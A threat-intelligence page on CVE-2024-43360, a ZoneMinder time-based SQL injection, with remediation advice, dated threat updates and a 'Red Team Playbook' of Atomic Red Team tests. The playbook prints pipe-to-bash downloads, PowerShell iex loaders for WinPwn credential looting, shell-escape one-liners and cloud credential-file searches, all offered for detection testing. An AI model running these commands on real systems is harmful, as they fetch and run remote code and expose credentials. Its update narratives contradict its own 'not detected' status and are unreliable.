CVE-2024-43360

CRITICAL Pub 12/08 Upd 15/08

Overview

The vulnerability is a time-based SQL Injection affecting ZoneMinder's database query handling. The root cause lies in insufficient input sanitization of user-supplied parameters, allowing crafted inputs to alter SQL queries executed by the application. This flaw impacts the core ZoneMinder software responsible for managing and querying video surveillance data.

Vulnerability Description

ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder is affected by a time-based SQL Injection vulnerability. This vulnerability is fixed in 1.36.34 and 1.37.61.

Impact

An unauthenticated remote attacker can exploit this vulnerability to perform time-based SQL Injection attacks, enabling extraction or manipulation of sensitive database information. The exploit requires only network access and no user interaction or privileges (AV:N/AC:L/PR:N/UI:N). This can lead to unauthorized data disclosure, integrity compromise, and potential disruption of ZoneMinder's surveillance operations, severely impacting confidentiality, integrity, and availability of the system.

Solution

To remediate this vulnerability, upgrade ZoneMinder to version 1.36.34 or 1.37.61 as specified in the official GitHub security advisory (GHSA-9cmr-7437-v9fj). These versions include patches that properly sanitize input parameters to prevent SQL Injection. Refer to the advisory and associated commits on the ZoneMinder GitHub repository for detailed patch application instructions and verification steps.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the ZoneMinder application is characterized as a time-based SQL injection flaw, which allows an attacker to manipulate SQL queries by injecting malicious input into the application's database interactions. This type of vulnerability arises when user input is not properly sanitized, enabling an attacker to execute arbitrary SQL commands. In this case, the flaw can be exploited to extract sensitive information from the database, such as user credentials, surveillance footage metadata, or even the content of the video streams themselves. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to systems utilizing the affected versions of ZoneMinder.

Attack vectors for this vulnerability primarily involve the application's web interface, where users interact with the system. An attacker could craft a malicious request to the application, embedding SQL commands that exploit the flaw. By leveraging time-based techniques, the attacker can infer data from the database based on the application's response time to specific queries. For example, by sending a series of carefully timed requests, the attacker can deduce whether certain conditions are true or false, effectively allowing them to extract data bit by bit. This method can be particularly insidious, as it may not trigger traditional security alerts, making it difficult for defenders to detect the ongoing attack.

The real-world impact of this vulnerability can be significant, especially for organizations relying on ZoneMinder for security surveillance. Successful exploitation could lead to unauthorized access to sensitive surveillance data, potentially compromising the privacy of individuals captured in the footage. Additionally, the extraction of user credentials could facilitate further attacks within the organization's network, leading to data breaches or unauthorized system access. The business risks associated with such incidents include reputational damage, regulatory penalties, and the financial costs of incident response and recovery efforts. Organizations may also face legal repercussions if sensitive data is exposed or misused.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the ZoneMinder application to the latest versions is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Implementing input validation and sanitization measures within the application code can also significantly reduce the risk of SQL injection attacks. Furthermore, organizations should conduct regular security assessments, including penetration testing, to identify and remediate potential vulnerabilities before they can be exploited by malicious actors.

In conclusion, the time-based SQL injection vulnerability in ZoneMinder presents a critical threat to organizations utilizing this surveillance software. The potential for data extraction and unauthorized access poses significant risks to both security and privacy. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats. Proactive measures, including timely updates and security assessments, are essential in maintaining the integrity and security of surveillance systems.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-43360, with our telemetry indicating a recent emergence of exploitation attempts targeting vulnerable ZoneMinder deployments. This uptick, while still limited in scope, signals growing adversary interest and experimentation with this critical SQL injection flaw. The slight increase in the EPSS score corroborates this trend, suggesting that exploitation likelihood is rising steadily. Although no new exploit techniques or ransomware group involvements have been identified, the increased detection frequency underscores an evolving threat landscape where opportunistic attackers may seek to leverage this vulnerability for unauthorized data access or system compromise. For defenders, this development elevates the urgency of monitoring and response efforts, as the vulnerability is now demonstrably being probed in the wild, increasing the risk of successful exploitation. Consequently, the threat level should be considered heightened from a latent risk to an active exploitation phase, warranting closer attention to detection signals and incident readiness.



Update 2 — June 23, 2026

CSURFACE threat intelligence has detected a modest uptick in probing activity targeting the CVE-2024-43360 vulnerability, reflecting a slight increase in adversary interest despite a marked decline in the EPSS score. This divergence suggests that while automated exploitation attempts may be waning, manual or targeted reconnaissance efforts are persisting or intensifying. The continued presence of these probes indicates that threat actors remain engaged in assessing vulnerable ZoneMinder deployments, potentially as part of broader reconnaissance or preparatory stages for more sophisticated attacks. For defenders, this nuanced shift highlights the importance of maintaining vigilant monitoring for anomalous SQL injection attempts, as the vulnerability remains a critical vector for unauthorized access. The risk posture should be adjusted to reflect a sustained active exploitation environment with evolving attacker tactics rather than a diminishing threat, underscoring the need for ongoing situational awareness and adaptive defense measures.



Update 3 — July 16, 2026

CSURFACE threat intelligence has identified a slight increase in activity related to CVE-2024-43360, reflected by a modest uptick in detection events and a marginal rise in the EPSS score. While no new exploit techniques or proof-of-concept code have surfaced, this subtle escalation signals persistent adversary interest in leveraging the time-based SQL injection vulnerability within ZoneMinder. The incremental rise in exploitation attempts suggests that threat actors continue to probe vulnerable deployments, potentially as part of ongoing reconnaissance or low-effort intrusion campaigns. For defenders, this evolving pattern underscores the necessity of sustained vigilance and continuous monitoring, as the vulnerability remains a critical attack vector with a high potential for unauthorized data access or system compromise. Consequently, the threat level should be regarded as stable but active, with a slight increase in exploitation likelihood that warrants ongoing situational awareness.



Update 4 — August 18, 2026

CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2024-43360, indicating that threat actors are maintaining persistent interest in exploiting this time-based SQL injection vulnerability within ZoneMinder deployments. While the overall exploit trend remains stable without evidence of new exploit techniques or proof-of-concept releases, the uptick in detection frequency suggests ongoing reconnaissance or opportunistic probing efforts. This subtle rise in adversary engagement underscores that the vulnerability continues to be a viable target for unauthorized access attempts, reinforcing the critical nature of the flaw. Consequently, the threat level should be considered cautiously elevated, reflecting sustained adversary focus and the potential for exploitation in environments where patches have not been applied.

Affected Products (2)

Vendor Product Version CPE
zoneminder Zoneminder Zoneminder All cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
zoneminder Zoneminder Zoneminder All cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

14 events
2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Remote Code Execution
35% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-7 Blind SQL Injection
48%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
46%
High Very High
CAPEC-108 Command Line Execution through SQL Injection
46%
Low Very High
CAPEC-109 Object Relational Mapping Injection
46%
Low High
CAPEC-66 SQL Injection
46%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-43360
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-9cmr-7437-v9fj
github.com
GitHub CVE x_refsource_MISC
https://github.com/ZoneMinder/zoneminder/commit/677f6a31551f128554f7b0110a52fd76453a657a
github.com
GitHub CVE x_refsource_MISC
https://github.com/ZoneMinder/zoneminder/commit/a194fe81d34c5eea2ab1dc18dc8df615fca634a6
github.com
GitHub CVE x_refsource_MISC
https://github.com/ZoneMinder/zoneminder/commit/bb07118118e23b5670c2c18be8be2cc6b8529397
github.com
GitHub CVE x_refsource_MISC
https://github.com/ZoneMinder/zoneminder/commit/de8f387207e9c506e8e8007eda725741a25601c5